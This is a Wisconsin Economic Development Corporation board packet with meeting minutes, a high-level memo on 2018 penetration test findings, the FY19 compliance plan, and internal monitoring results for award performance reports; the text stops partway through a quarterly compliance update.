Open Meetings Notice
The teleconference of the Board of Directors for the Wisconsin Economic
Development Corporation will be held on April 5, 2019 in WEDC’s Sixth Floor
Conference Room, located at 201 West Washington Avenue, Madison, WI 53703.
The items to be discussed are included below. Note that some members of the Board
may attend by phone. Note also that the meeting may be closed under Wis. Stat. §
19.85(1) if indicated below.
________________________________________
Agenda
Wisconsin Economic Development Corporation
Teleconference of the Board of Directors
WEDC
Sixth Floor Conference Room
201 West Washington Avenue
Madison, WI 53703
April 5, 2019
9:30-10:30 AM

1. Call to Order and Roll Call
2. Approve the Minutes from the March 11, 2019 Meeting
3. Review FY19 Q2 Compliance Report
4. Review Sikich Audit Report- Network Test Vulnerability
5. Review and Approve Request for Proposal- Wisconsin Supply Chain Marketplace
6. Review and Approve Request for Proposal- External Auditor
7. Adjournment

Wisconsin Economic Development Corporation
Meeting of the WEDC Board of Directors

WEDC
DOA Large First Floor Conference Room
201 West Washington Avenue
Madison, WI 53703

March 11, 2019
2:00 - 4:00 P.M.
(These minutes should be read in conjunction with the
agenda and documents prepared for the meeting.)
BOARD MEMBERS IN PERSON:
•
•
•
•
•
•
•
•
•
•
•
•
•
•

Lisa Mauer, Rickert Industries (Chair)
Senator Dan Feyen
Eugenia Podesta, Synergy Madison (left 2:57 PM)
Representative Gordon Hintz
Henry C. Newell, formerly Wausau Paper
John Brogan, Bank of Kaukauna
John Oathout, American Bank
Mary Williams, former State Representative
Mike Kunesh, Place Perfect
Randy Hopper, Mountain Dog Media
Rebecca Cooke, Red’s Mercantile
Senator Tim Carpenter
Secretary Joel Brennan, Department of Administration
Secretary Peter Barca, Department of Revenue

BOARD MEMBERS PRESENT VIA TELECONFERENCE:
•
•
•

John Peterson, Schuette Metals
Joseph Kirgues, gener8tor
Thelma Sias, We Energies (ret.) (Left 2:45 PM)

BOARD MEMBERS EXCUSED:
•
•
•

Representative Rob Hutton
Nancy Hernandez, ABRAZO, LLC
Jim Ladwig, SC Johnson

CALL TO ORDER AND ROLL CALL
WEDC Chair Lisa Mauer called the meeting to order at 2:02 PM.
Lisa Mauer requested a motion to approve the minutes from the 1-29-2019 and 2-19-2019
meetings. A motion was made by Senator Tim Carpenter with a second by Mary Williams. The
minutes were approved as they stand.
HIGHER EDUCATION REGIONAL ALLIANCE PRESENTATION
Chancellor Mark Mone and Chancellor Deborah Ford presented on the Higher Education
Regional Alliance partnership to the Board. HERA aims to increase the percentage of
individuals in the M7 region with a high quality post-secondary credential to 60% by 2027.
HERA is composed of three key outcomes. The first goal is increased educational attainment
and to increase the college completion rate. The second goal is to have the program array
support regional needs through common articulation and seamless transfer. The third goal is to
secure the talent bridge between higher education and regional employers. The WEDC
partnership with HERA provides strategic economic competitiveness as well as community and
economic opportunity. Chancellors Mone and Ford emphasized that community change cannot
take place without internal institutional transformation.
CHAIR REPORT
Lisa Mauer welcomed Eugenia Podesta to the WEDC Board and identified that she would be
serving on the Budget and Finance Committee.
The Resolution on Officer Elections, which was established in consultation with the Governor’s
office, elects Lisa Mauer as Chair of Board of Directors, Nancy Hernandez as Vice Chair of the
Board of Directors, Rebecca Cooke as Secretary of the Board of Directors, and Henry Newell as
the Treasurer of the Board of Directors.
Lisa Mauer requested a motion to approve the Resolution on Officer Elections. Motion was
made by Mary Williams with a second by John Brogan. The motion to approve the Resolution
on Officer Elections was approved unanimously.
As required by the WEDC bylaws, designation of standing committee members on the Audit
Committee, Awards Administration Committee, Budget and Finance Committee and the
Entrepreneurship and Innovation Committee was reported to the board through the Committee
Appointment Rosters and is hereby recorded in the minutes of the Board of Directors.
CEO REPORT
WEDC Secretary and CEO Mark Hogan presented, and the Board discussed, the Credit and
Risk Quarterly report. Mark Hogan provided an overview and general comments on credit and
risk reports as of December 31, 2018.
CFO REPORT
WEDC CFO Brian Nowicki presented, and the Board discussed, the Quarterly Financial Report
from December 31, 2018. The unassigned fund balance from this quarter reflects the excess
balance at the end of the previous fiscal year from SEG funding. Brian Nowicki described the

seasonality of business at WEDC pointing that an increase of awards usually happens in the
last quarter.

COMMITTEE REPORTS
Lisa Mauer informed the Board that at every quarterly Board meeting, WEDC sends out
Committee Memos in the Board materials which summarize the content of committee meetings
held intermittently between Board meetings. Because there were no Audit Committee or Budget
and Finance Committee meetings since the last Board meeting, there were no Committee
Memo updates.
Awards Administration Committee
The Board was provided a summary of the November 20, 2018,the December 12, 2018, and
March 6, 2019 Awards Administration Committee Meetings.

CLOSED SESSION
Lisa Mauer requested a motion to approve entering closed session. Motion was made
by Senator Dan Feyen with a second by John Brogan. The motion to enter closed session was
passed unanimously.
Members of the public excused themselves for closed session.
See separate minutes for closed session.
RESUMPTION OF OPEN MEETING
The meeting reconvened in open session at 3:25 PM.

ADJOURNMENT
Lisa Mauer requested a motion to adjourn the meeting. Motion was made by Senator Tim
Carpenter with a second by Senator Dan Feyen. The motion to adjourn the meeting was passed
with unanimous consent.

MEMO
TO:
FROM:
RE:
DATE:

WEDC Audit Committee
Brian Nowicki, CFO
IT Penetration Testing 2018
March 27, 2019

WEDC engaged Sikich LLP (Sikich) to conduct a series of penetration tests in 2018, which included:
•

An external penetration test simulating an attack against the WEDC systems accessible
from the Internet. This type of attack might be carried out by a disgruntled customer, an
ex-employee from a remote location or organized criminals located overseas.

•

A wireless penetration test simulating a malicious individual attempting to discover
vulnerabilities in WEDC’s wireless configuration or gain access to wireless networks. A
wireless attacker might include organized criminals or hacktivists looking to obtain
sensitive information.

•

An internal penetration test simulating an attack against the WEDC systems from within
the WEDC internal network. This type of attack might include a rogue employee with
limited access to the WEDC network who is trying to escalate his/her privileges to access
sensitive data or a vendor/contractor who comes on site and plugs a laptop into a
corporate network jack.

EXTERNAL AND WIRELESS TESTING
Sikich did not identify any vulnerabilities.
INTERNAL TESTING
Sikich did find vulnerabilities, both high and medium risk. Sikich identified systems that did not
require authentication to gain access to network router configurations within the WEDC network.
The information Sikich found in the configuration files could prove useful to an attacker under
different circumstances.
Sikich also used default security configurations and weak password policy requirements to
eventually take complete control over WEDC devices and user accounts. Sikich used the access
to browse network shares and identify WEDC customer information.
Subsequent to the initial draft report being issued to WEDC and the final issued report that has
been attached, WEDC demonstrated to Sikich that the vulnerabilities identified were resolved,
with the exception of one. For the remaining vulnerability, WEDC is evaluating different policy
options and expects to implement a change to WEDC’s Password Policy by July 1, 2019.

MEMO
To:

WEDC Audit Committee

From: Jennifer Jin, Chief Legal Officer
Brooklyn Mashaw, Compliance Manager
Emily Clavette, Operations & Program Performance Director
Autumn Meyer, Compliance Specialist
CC:

Mark R. Hogan, Secretary & Chief Executive Officer
Tricia Braun, Deputy Secretary & Chief Operating Officer
Brian Nowicki, Chief Financial Officer

Date:

June 21st, 2018

Re:

Fiscal Year 2019 Compliance Plan

This memo outlines WEDC’s FY19 Compliance Plan. The Compliance Plan represents our commitment to our core
values, especially accountability and transparency. The Compliance Plan is led by the Compliance Team, but carried out
by the organization.
The FY19 Compliance Plan is organized by the following essential elements of a compliance plan: compliance oversight,
education and training, monitoring and auditing, and reporting, investigating, and outcomes.
WEDC operates under three primary sets of standards of conduct: The Code of Ethics & Conduct, Divisional Procedures
and Program Guidelines.
•

Code of Ethics & Conduct (COEC): The COEC serves as WEDC’s employee handbook and outlines the policies
that staff are required to follow as part of their employment at WEDC. The COEC also provides additional
guidance on operations, and represents WEDC’s commitment to continuous improvement and operational
efficiency.

•

WEDC Divisional Procedures: Each team owns and manages divisional procedures. Divisional procedures
reside in their respective team and continue to be evaluated for efficacy. Additionally, the Compliance Team is
in the process of assisting divisions with the review, updating, and creation of division procedures and work
instructions. This is an ongoing project that will continue into FY19.

•

WEDC’s Program Guidelines: Program guidelines direct the administration of WEDC’s award programs. Each
WEDC program is covered by a program guideline that describes the program, its purpose, budget, activities,
expected outcomes, relevant statutory parameters, among other information.

1. Compliance Oversight
Compliance and ethics remain a top priority for Board and management. Consistent with best practices, WEDC
continues to rely on multiple layers of oversight. Compliance relies on communication and guidance not only through
the Board and Board committees, but also internal staff committees that drive staff engagement on discussions in
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compliance, ethics, and continuous process improvement.
•

The Compliance & Ethics Committee (“C&E Committee”): The C&E Committee was formed in 2016 to develop
and review cross- functional procedures and advise on the best means for execution of this Compliance Plan.
The C&E Committee is comprised of the Compliance Team and representatives from programmatic and
support divisions. This has allowed for both executive buy-in and input from the staff who are most heavily
impacted by the Committee’s work. The C&E Committee provides a cross-divisional approach to developing
internal controls and processes that support adherence to this Plan.

•

Employer of Choice (“EOC”) Committee: The EOC Committee is comprised of a diverse, cross-section of
employees who are tasked with identifying and sharing concerns and ideas. This Committee is challenged to be
solution focused and action oriented. One of the Compliance Team members is a member of this Committee.
Membership ensures the Compliance Team is informed and able to address any pertinent issues.

2. Education and Training
Personal and professional development is crucial to the success of WEDC’s employees. WEDC’s experienced trainer has
developed a robust training program centered on WEDC’s core values and our commitment to compliance, ethical
behavior and operational excellence. The continued process improvement of the training courses is based on internal
monitoring results, division manager recommendations, and changes in the compliance plan.
The overall Learning and Organization Development (“LOD”) strategy will be led by the implementation of new
Learning Maps outlining the required training for all new hires, new managers, and additional role specific
recommended training. This training will encourage professional certifications and professional skills development
such as critical thinking, problem solving, and business acumen. The delivery methods will include on-the-job training,
eLearning via our Learning Management System, live and recorded webinars, instructor-led and subject matter expertled facilitated training, and self-directed/self-paced continuing development. Learning content will be vetted by team
leaders and Human Resources prior to delivery to ensure alignment with the Code, procedures, and the WEDC’s
mission and vision, core values, and strategic pillars.
In FY19, our commitment to compliance training will target topics such as personal safety and security, Respect in the
Worklplace; including harassment prevention, new technologies and systems, employee cross-training, process
changes or improvement, and leadership development. Learning gaps will be identified and reported through
observations from leaders, learning surveys, and identified business objectives and priorities. Training courses
targeting these gaps will be conducted on a regular basis throughout the organization to improve compliance, enhance
processes, increase efficiencies, and promote leadership skill development. To accomplish this, we will offer newly
created content as well as reassigning currently existing successful eLearning courses; some on an annual basis when
renewing one’s knowledge of the topic is of particular importance.
A selective, focused and practical approach will be developed and utilized to assess the impact of the LOD strategy and
deliverables. These evaluations will curate best practices, recommended changes to delivery and content, and foster
continuous process improvement in LOD.
The C&E Committee will manage communications related to and arising from the Compliance Plan, including decisions
on the substance, form of delivery, and points of contact.
3. Monitoring and Auditing
•

Internal Reviews: Internal monitoring at WEDC is handled by two teams: The Compliance Team and the
Quality Assurance Team (collectively, the “Internal Monitoring Team”). Through continuous monitoring, the
Internal Monitoring Team seeks to identify priorities and mitigate organizational risk. The team develops each
fiscal year’s internal monitoring strategy which is reviewed with executive management and the Board’s Audit
Committee, and approved by the full Board. Additionally, the team provides regular reports on the previous
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fiscal year’s results to executive management, the Board’s Audit Committee and full Board.
o

The Internal Monitoring Team will be focusing on the areas of follow-up identified in the FY18 internal
monitoring as well as executing the FY19 internal monitoring plan. Attached is the Internal Monitoring
Snapshot, which outlines the specific areas of review planned for FY19.

o

Continuous improvement is a focus for WEDC, and the Internal Monitoring Team will, through its work,
continue to identify, evaluate and recommend process improvement projects throughout FY19.

•

External Audits: Pursuant to Wis. Stat. § 238.07(4), WEDC’s independent auditor will conduct its audit of FY18
for presentation to the Board in the fall of FY19. The scope of the FY18 audit will also include an IT security
penetration test and assessment. In addition, LAB will start its next scheduled audit in the fall of FY19.

•

Independent Verification: Pursuant to Wis. Stat. § 238.03(2)(e), WEDC will independently verify, from a
sample of grants and loans, the accuracy of the information required to be reported annually by each awardee
of a grant or loan. WEDC has engaged an outside firm to conduct an independent verification of a sample of
the annual reporting information WEDC receives from awardees. This verification will rely on source
documentation on a sample selection basis.

4. Reporting, Investigating, and Outcomes
Reporting and documentation of fraud, mismanagement, misconduct, misrepresentation, or conflicts will be managed
by WEDC’s Management, Human Resources, and the Legal, Records, and Compliance teams and reported annually
within the Compliance Report. The Human Resources and Compliance teams collaborate to investigate all compliance
concerns and will develop prompt corrective action measures as necessary.
The following documentation will be included in this reporting:
•

Conflict of Interest Report: This report has a list of WEDC staff and Board members affiliated with an
organization that has received or is seeking financial or other assistance from WEDC. This report also includes
instances when Board members have recused themselves from meetings where their actions or activities could
have resulted in improper gain or advantage, or had an adverse effect on WEDC.

•

Ethics Hotline Report: This report has a list of external and internal reports of fraud, mismanagement, or
misconduct. All cases submitted to WEDC’s Ethics Hotline will be investigated by the investigation team, and
reported to WEDC’s Audit Committee and Board of Directors.

•

Suspected Misrepresentation Report: This report lists suspected misrepresentations by WEDC awardee
applicants and recipients that have been referred to authorities.

All levels of management are held to the highest ethical standards, and expected to demonstrate their serious
commitment to WEDC’s compliance program. Management is expected to not only enforce this commitment with
their staff but also model this behavior. Staff’s adherence to the compliance program is subject to evaluation as part of
the annual performance evaluation process. Managers are required to monitor their employees’ acknowledgement of
the Code, their training attendance and any non-compliance with the Code, WEDC’s procedures, regulations and laws
governing the organization. Staff who do not comply with such requirements are subject to discipline.
The Board, CEO, and other management will be updated regarding the Compliance Plan, its implementation, and any
issues that arise in relation to the organization’s compliance.
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Performance Reports
Pre-monitoring Meeting: 5/10/2018
Attendees: Emily Clavette, Dave Beimborn, Autumn Meyer
Follow-up Meeting (Questions): 5/21/2018
Attendees: Emily Clavette, Dave Beimborn, Autumn Meyer
Areas of Review

Details

Timeliness

Timeliness on the due date of the
report
All required documentation is
captured in the Performance
Report folder
All required documentation is
captured in the Performance
Report folder

Salesforce

EnABLE

Manager
Responsible
Emily Clavette

Date EnABLE
Report Pulled
5/10/2018

Emily Clavette

5/10/2018

Emily Clavette

5/10/2018

Overview of Performance Reporting Process: Award recipients are periodically required to submit
performance reports to WEDC. The performance reporting receipt process involves documenting the
timeliness of receipt of the report, reviewing the report for completion and all applicable documents
having been submitted, following up on missing or questionable information, uploading documents and
email correspondence to Salesforce, entering measurements and compliance information in EnABLE,
and forwarding documents to the approver of the program.
*Internal monitoring results were separated by program due to TDL, QNBV, SA and CC programs being
handled differently than the procedure outlines.
Period Reviewed: 09/01/2017 – 03/31/2018
Performance Reports Submitted: 740
Performance Reports Reviewed: 87 (12%)
Timeliness
• Early: 3 of 87 (3%)
• Timely: 71 of 87 (82%)
• Late: 13 of 87 (15%)
82% of performance reports submitted in the period reviewed were timely, 3% of the total reports
submitted were early, and 15% of the sample reviewed were received late.
Salesforce Opportunity Performance Report Folder
BF, BOLF, BREI, BTC, CB, CDI, DOZ-J, ETC,
EZ, FLG, HTC, ISR, JTC, MBD, SAG, SPLF,
TDL, QNBV, SA & CC (27)
TIP, WTG, CERLF, CMAG (60)
Performance Report is uploaded in Salesforce:
Performance Report is uploaded in Salesforce:
58 of 60 (97%)
27 of 27 (100%)
• 1 performance report submitted was for the
wrong period.
• 1 performance report wasn’t submitted.
Performance Report is signed: 58 of 58 (100%)
Performance Report is signed: 23 of 27 (85%)
• 4 performance reports were not signed.

General Certifications have been completed: 56
of 58 (97%)
• 2 instances of general certifications not
complete.
Period end date is correct at the top of the report:
58 of 58 (100%)
All required documentation for the specific award
has been uploaded: 40 of 40 (100%) (18: N/A)

EnABLE Data
BF, BOLF, BREI, BTC, CB, CDI, DOZ-J, ETC,
EZ, FLG, HTC, ISR, JTC, MBD, SAG, SPLF,
TIP, WTG, CERLF, CMAG (60)
Compliance
• Period start and end date match: 57 of 58
(98%)
o 1 instance of no period date entered
in EnABLE.
• Date of submission (date report was received
in Outlook inbox): 57 of 58 (98%)
o 1 instance of submission date missing
from EnABLE.
• Approved Date (date Program Manager
issued their approval): 20 of 46 (43%) (12:
N/A)
o 26 approval dates not entered.
Measurements
• Other relevant measurements reflect the
report: 53 of 58 (91%)
o 5 instances of measurements in
EnABLE do not match the report.
• Jobs in EnABLE match the Performance
Report: 23 of 28 (82%)
o 5 instances jobs reported within
EnAble do not match jobs reported on
the Performance Report
• Requested explanation regarding
employment variance uploaded and noted in
EnABLE and Salesforce: 16 of 28 (57%)

General Certifications have been completed: 25
of 27 (93%)
• 2 instances of general certifications not
complete.
Period end date is correct at the top of the report:
27 of 27 (100%)
All required documentation for the specific award
has been uploaded: 16 of 27 (59%)
• 11 instances of required documents missing.

TDL, QNBV, SA & CC (27)
Compliance
• Period start and end date match: 27 of 27
(100%)
•

Date of submission (date report was received
in Outlook inbox): 27 of 27 (100%)

•

Approved Date (date Program Manager
issued their approval): 8 of 27 (30%)
o 19 approval dates not entered.

Measurements
Procedures need to be created and follow-up
reviews conducted on these programs.

Corrective Action Plan:
Observation Identified

Recommendation

Timeliness: 13
performance reports were
submitted late.

Performance Report
Uploaded and Complete:
1 performance report
submitted was for the
wrong period.
1 performance report
wasn’t submitted due to no
new data to report.
Also, sections of
performance reports were
left blank if there weren’t
changes from the previous
performance report.
Performance Report
Signed:
4 performance reports
weren’t signed.

Performance reporting period
dates should be checked.
Performance reports should be
submitted regardless of no
change to data. It should be
communicated to award
recipients that sections need to
be filled out regardless of no
change to data.

Follow-up needs to take place in
cases of missing signature.
Performance reports aren’t
complete and should not be
approved without signature.
The 4 reports that are missing
signatures should be corrected.

Required documents: 11
instances of required
documents were missing
(including general
certification supporting
documents).

Follow-up needs to take place in
cases of missing required
documentation.
Performance reports aren’t
complete and should not be
approved without all
documentation.

Manager Response
(Updated 03/2019)
Starting in FY19, we are
accelerating the process to
move awards to collections
earlier. With that, we’re asking
that opportunity owners take a
more aggressive approach
earlier in the process to avoid
penalties to their awardees.
We are working closely with
opportunity owners to better
communicate what is needed
from their awardees. We are
attending their divisional
meetings surrounding their
delinquent accounts as of July
2018.
We have rewritten our work
instructions to better explain
how to check over performance
report – including the creation
of a flowchart.
All clarifying explanations (say,
a dash or “NA” in a field on the
performance report) will be
uploaded to salesforce, and a
note to briefly explain that
clarification will be noted in
enable.
In our new work instructions
and flowchart, we have made
clear that all performance
reports must be attested.
We will revisit those reports that
have been found to be missing
signatures and will
communicate with the
awardees to secure attestation.
We have a document which
states the required documents
by program type. This will be
reviewed with the team. We
will also communicate with E&I
so we can better determine
what documents are needed for

These 11 cases were included in
the TDL, QNBV, SA and CC
programs. Procedures need to
be created and follow-up reviews
conducted on these programs.
Approvals: 45 performance Performance report
reports needing approval
review/approvals need to be
have not been approved in timely.
EnABLE.
The expected timeliness of this
step should be outlined in the
performance report process.
Measurements: 53/58
The measurement information
measurements recorded
from a performance report needs
did match the performance to be entered correctly into
report.
EnABLE.

each of their programs, and
who should secure missing
documents from the client.

Approvals most often occur
outside of the Operations
division. With the recent split to
add a Servicing division, we
expect that the approvals
should be more efficient.
Measurements for these
programs are reported within
the reporting period, rather than
as an aggregate total like our
other awards. The E&I division
26 cases were not included in
tracks their awards and provide
the measurement total from the
Operations with the aggregate
TDL, QNBV, SA and CC
numbers. We will be reviewing
programs. Procedures need to
this procedure with the E&I
be created and follow-up reviews division to determine if a better
conducted on these programs.
method may be available.

Jobs: 23/28 EnABLE jobs
measures match the
performance report

The other cases should be
reviewed for accuracy.
The jobs information from a
performance report needs to be
entered correctly into EnABLE,
24 cases were not included in
the measurement total from the
TDL, QNBV, SA and CC
programs. Procedures need to
be created and follow-up reviews
conducted on these programs.

Requested explanation
regarding employment
variance uploaded and
noted in EnABLE and
Salesforce: 16/28

The other cases should be
reviewed for accuracy.
Procedures need to be reviewed
for clarity. If the numbers don’t
match the UCT-101e report, an
explanation should be requested
and documented in EnABLE
notes.

Operations will work with E&I to
review their process so that
timely data is submitted and
provide needed clarification to
staff.

The Operations division will
review instructions and re-train
staff.
There was confusion
surrounding the use and
reasonableness check of the
UCT101e with new staff. That
has since been clarified.

FY19 Internal Monitoring Snapshot
Internal Monitoring

New FY19 or Follow-up FY18

Performance Reports

New FY18

Schedule of Expenditures

New FY19

Loan Collateral

New FY19

Tax Credit Verification

Follow-up FY18

Site Visits

New FY19

Travel & Expense Reimbursement

Follow-up FY17

Procurement

Follow-up FY18

Default 30, 60, 90 days

New FY19

Performance Reports

Follow-up FY18

Areas of Review
Collection
Documentation
Accuracy
Scheduled
Timeliness
Notification
Documentation
Documentation
Documentation
Data Entry
Follow-up
Scheduled
Collection
Documentation
Follow-up
Timeliness
Use of General Ledger
Use of Travel Expense
Approval
Method
Workflow
Conflicts of Interest
Approval
Scheduled
Collection
Documentation
Follow-up
Timeliness
Collection
Data Entry
Accuracy

Quarter

Monitoring Start Date (Approximate)

Monitoring End Date (Approximate)

Received Manager Response

Status

FY18 Q4-FY19 Q1

5/10/2018

Estimate Aug-18

18-Dec

Done

FY18 Q4-FY19 Q1

Jun-18

Estimate Sep-18

18-Sep

Done

Q2-Q3

Dec-19

Jan-19

In-Process

Done

Q2-Q3

Nov-19

Feb-19

Feb-19

Done

Q3

Feb-19

Mar-19

In-Process

Q3

Mar-19

Apr-19

In-Process

Q4

Apr-19

May-19

Not Started

Q4

Feb-19

Mar-19

Not Started

FY20

Jul-19

Not Started

MEMO
To:

WEDC Audit Committee

From: Jennifer Jin, Chief Legal Officer
Brooklyn Mashaw, Compliance Manager
Emily Clavette, Operations & Program Performance Director
Autumn Meyer, Compliance Specialist
CC:

Mark R. Hogan, Secretary & Chief Executive Officer
Tricia Braun, Deputy Secretary & Chief Operating Officer
Brian Nowicki, Chief Financial Officer

Date:

January 15th, 2019

Re:

2nd Quarter Update on Fiscal Year 2019 Compliance Plan

1. Compliance Oversight
2nd Quarter Update:
The Compliance Team continues to work with internal committees on soliciting feedback and gaining cross divisional
insight on current and proposed processes. These internal staff committees, Compliance and Ethics (C&E) and Employer
of Choice (EOC) Committees, meet every month and focus on areas of review of current requirements and/or processes,
and organizational improvement.
Outlined below, are the areas of focus within the C&E and EOC committees and process improvement projects focused
on in Q2.
•

C&E Committee
The C&E Committee is focused on reviewing new and updated procedures, monitoring the required
reporting by WEDC, and discussing process improvement within the organization. Along with implementing
new processes, the compliance team has been providing refresher and new process training for the
divisions to which the new/updated processes apply.
o The following procedures have been reviewed and discussed. Some procedures are not yet finalized
because of updates from the discussions at the C&E Committee meeting. Procedures that have
been reviewed in Q2 by the C&E Committee:
▪ New Procedures
• Federal Grant Administration
• Supply Chain Tax Credit Incentives Eligible and Ineligible
• WEDC Incident Response and Breach of Personal Information Plan
• Communication Plan
• Disaster Recovery Plan
• Business Continuity Plan
▪ Updated Procedures
• Underwriting
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•
•
•
•

Background Checks
Amendment
Past Due Loans
Past Due Performance Reports

Required reporting has been monitored and brought to the C&E Committee monthly. All reports have been
submitted to the appropriate authorities up to January 1st in Q2. A list of the reports that have been submitted
is available upon request.
Compliance will also be working on creating a new reporting calendar within our SharePoint system.
•

EOC Committee
Added the Diversity and Inclusion sub-committee to WEDC.
All sub-committees are proposing ideas for the 2019 calendar year to focus on promoting growth and
development within the WEDC staff.

•

Process Improvement Projects
o Procedure Project
▪ Compliance has been collecting and assisting with the process of updating all WEDC
procedures.
▪ We are implementing a system for notifying staff on procedures that are in the process of
being updated and /or created, and then giving a timeline so any further input can be
made before the procedures are finalized and upload to our system.
▪ The SharePoint site is still in development.
o Items of Value
▪ Compliance has solicited input from other divisions on the new test system. We have also
been working through the new approval process.
▪ Compliance plans on presenting updates to all WEDC staff in Q3.
o Organizational Decisions
▪ Compliance is working with staff to collect documentation of organizational decisions that
affect processes within WEDC. We will consolidate these documents into one centralized
location that is accessible to all staff.

1st Quarter Update:
Outlined below, are the areas of focus within the C&E and EOC committees, and process improvement projects focused
on in Q1.
•

C&E Committee
o The following procedures have been reviewed and discussed. Some procedures are not yet finalized
because of updates from the discussions at the C&E Committee meeting. Procedures that have
been reviewed in Q1 by the C&E Committee:
▪ New Procedures
• DWD Unemployment Insurance
• Capital Expenditure Tax Credit Incentives: Eligible & Ineligible Expenses
▪ Updated Procedures
• WEDC Receivables
• Award Verification
• Past Due Loans
• Past Due Performance Report
• Legal Referral
• Schedule of Expenditures (SOE)
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o

• Procurement
Required reporting has been monitored and brought to the C&E Committee monthly. All reports
have been submitted to the appropriate authorities up to October 1st in Q1. A list of the reports that
have been submitted is available upon request.

•

EOC Committee
The EOC committee has been focusing on ways to collaborate with other internal committees to help
support initiatives. We will report on outcomes and accomplishments from these collaborations in the
upcoming quarterly updates.

•

Process Improvement Projects
o Procedure Project
▪ Each team owns and manages divisional procedures. Divisional procedures reside in their
respective team and are continually evaluated for efficacy. Additionally, staff continue to
add divisional procedures as processes evolve and are improved upon.
▪ In FY18, WEDC launched a project to systematically review, revise, and organize divisional
procedures. This project includes the transfer of existing procedures to a new template, and
the construction of a centralized index of organizational procedures. This project will
significantly increase the ease of finding and maintaining procedures, particularly those
that involve cross-divisional processes.
▪ During FY18, the compliance team designed processes to improve procedure management
and began meeting with the Technology and Information Systems division to design a new
home for WEDC procedures in SharePoint. In addition, the compliance team met with
divisions around the organization to provide guidance on updating procedures into the new
template and solicit feedback about the new processes and index.
▪ During FY19, the compliance team plans to launch the procedure SharePoint site, finish
working with teams to update existing procedures, and work with teams to expand the
coverage of procedure libraries.
o Items of Value
▪ WEDC staff is encouraged to meet with outside conventions, special interest groups,
organizations, etc. to promote economic development for the state of Wisconsin. In some
cases, staff may be offered something of value coinciding with the event they are
attending. In all cases, the first option is to decline the item, but in some cases, it is not
feasible to decline. Because of this, WEDC has specific exceptions in which staff can accept
an item for economic development purpose on behalf of WEDC, or if it benefits the state.
▪ The compliance team is updating the items of value acceptance reporting system to include
specific information about how we are accepting items, the disposition of those items, and
how we are required to report the accepted items.
▪ This new process will not only make it easier for WEDC staff to report the required
information, but also gain preapproval to ensure we are abiding with statutory
requirements.

2. Education and Training
2nd Quarter Update:
This quarter’s Instructor-led learning (ILT) included:
• Table Talks (1) focused on “Dealing with Change at Work.”
• Leadership Learning Series (2) including the topics of “The Basics of Authentic Leadership” and “Rewind and
Fast Forward, A 2018 Review and 2019 Preview.”
• Expert Speaker (1): Barb Schrage from the U.W. Center for Professional and Executive Development
presented a 4-hour class called “Project Sponsor Essentials.” This course was focused on skills necessary for
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Leaders when acting as Project Sponsors. This course was impactful by refocusing our leaders’ skills in
Project Management prior to the onboarding of our new
Senior Project Manager.
“Brown Bag” sessions (3) providing an opportunity for leaders from Operations and Program Performance,
Business and Community Development, and International Business Development to communicate divisional
goals and responsibilities to team members from other divisions. This sharing opportunity was created
based on employee feedback about sharing greater transparency to the inner workings of each division
throughout the organization.
Our interpersonal effectiveness series, Insights: Keeping it Alive, continued with two (2) sessions focused on
“Managing Stress through Insights,” and “Rewind and Fast Forward, A 2018 Review and 2019 Preview.”
One (1) Insights Discovery Foundations session was presented to New Hires.

Additionally, WEDC employees were given the opportunity to attend the “IEDC Fall Webinar Series.” This 5-part
webinar series was facilitated by experts at the IEDC and focused on the Future of Economic Development.
Finally, the calendar year “2019 Learning Calendar” was created.
• A new course called “Increasing My Impact” was added to the ILT courses.
• This course aims to guide, challenge, and inspire the development of Leadership Skills through experiential,
direct, and reflective learning. Participants will have exposure to leaders, topics, and discussion that is
challenging and thought provoking. Of the applicants, 24 employees will be accepted and attend these bimonthly sessions.
1st Quarter Update:
This quarter’s Instructor-led learning (ILT) included:
• Table Talks (3) focused on “Technology and Information Systems: Tech Tips for effective use of Technology
in the workplace,” “Measuring your Role-Specific Goals” and “Tips for Increasing your Personal
Effectiveness at Work.”
• Leadership Learning Series (3) including the topics of “Managing Multiple Demands, Systems, and Too
Many Inputs,” “Leading and Managing Meetings” and Guest Speaker, Tina Hallis, presented “Sharpening
Your Positive Edge: How to Shift Your Thoughts for More Positivity and Success.”
• “Brown Bag” sessions (3) providing an avenue for leaders from Underwriting, Public Affairs, and Sector
Strategy Development to communicate divisional goals and responsibilities to team members from other
divisions. This sharing opportunity was created based on employee feedback about sharing greater
transparency to the inner workings of each division throughout the organization.
• Our interpersonal effectiveness series, Insights: Keeping it Alive, continues with two (2) sessions focused on
“Embracing your Strengths and Opportunities” and “Sensing and Intuition.”
• One (1) Insights Discovery Foundations session was presented to New Hires.
• Incremental SharePoint systems training was provided to employees to increase their knowledge and skill
using SharePoint based on increased functionality available and launched by the Technology and
Information Systems division.
Two Required eLearning courses were assigned to employees this quarter:
• Annual review and acknowledgement of our Code of Ethics and Conduct was assigned and completed by All
Staff to refresh each employee’s awareness of WEDC workplace policies.
• A new eLearning module was created to ensure that the SharePoint Incremental training is available and
assigned to New Hires and those who were unable to attend the in-person sessions.
3. Monitoring and Auditing
2nd Quarter Update:
The Legislative Audit Bureau (LAB) continues their bi-annual programmatic and financial audit of WEDC. In addition,
LAB has issued its report evaluating WEDC’s process for verifying information submitted by recipients of tax credits
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allocated under the Electronics and Information Technology Manufacturing Zone (EITMZ) program.
On December 19, 2018, LAB issued its evaluation of WEDC’s process for verifying information submitted by recipients
of the tax credits allocated under the Electronics and Information Technology Manufacturing Zone program. . WEDC
will report to the Joint Legislative Audit Committee (JLAC) by January 31, 2019, on the status of efforts to implement
the recommendations from LAB.
The Internal Monitoring team has completed monitoring for Performance Reports. A summary of completed
monitoring, along with the internal monitoring snapshot are attached. The following bullet points provide a high-level
summary of the results of the monitoring completed this quarter. We are in the process of completing Loan Collateral
monitoring and will outline the details in the Q3 update.
Performance Reports: Award recipients are periodically required to submit performance reports to WEDC. The
performance reporting process involves documenting the timeliness of receipt of the report, reviewing the
report for completion and confirming all applicable documents having been submitted, following up on missing
or questionable information, uploading documents and email correspondence to Salesforce, entering
measurements and compliance information in EnABLE, and forwarding documents to the approver of the
program.
From the period reviewed, 9/1/2017 – 3/31/2018, there were 740 reports submitted. The sample of
performance report reviewed was 87 (12%). Performance Report monitoring evaluated the following areas of
review:
• Timeliness of receipt
• Salesforce documentation complete
• EnABLE measurements and information complete
Through the monitoring process, the observations identified were followed up with suggested solutions. The
Manager responses indicate how WEDC will move forward with the findings. Outcomes from the internal
monitoring observations include:
Timeliness:
Results of the timeliness reviews the date that the performance reports were due compared to the date that
WEDC received them from the client.
• Performance reports submitted early: 3/87 = 3.4%
• Performance reports submitted timely: 71/87 = 81.6%
• Performance report received late: 13/87 = 14.9%
Salesforce Documentation Complete:
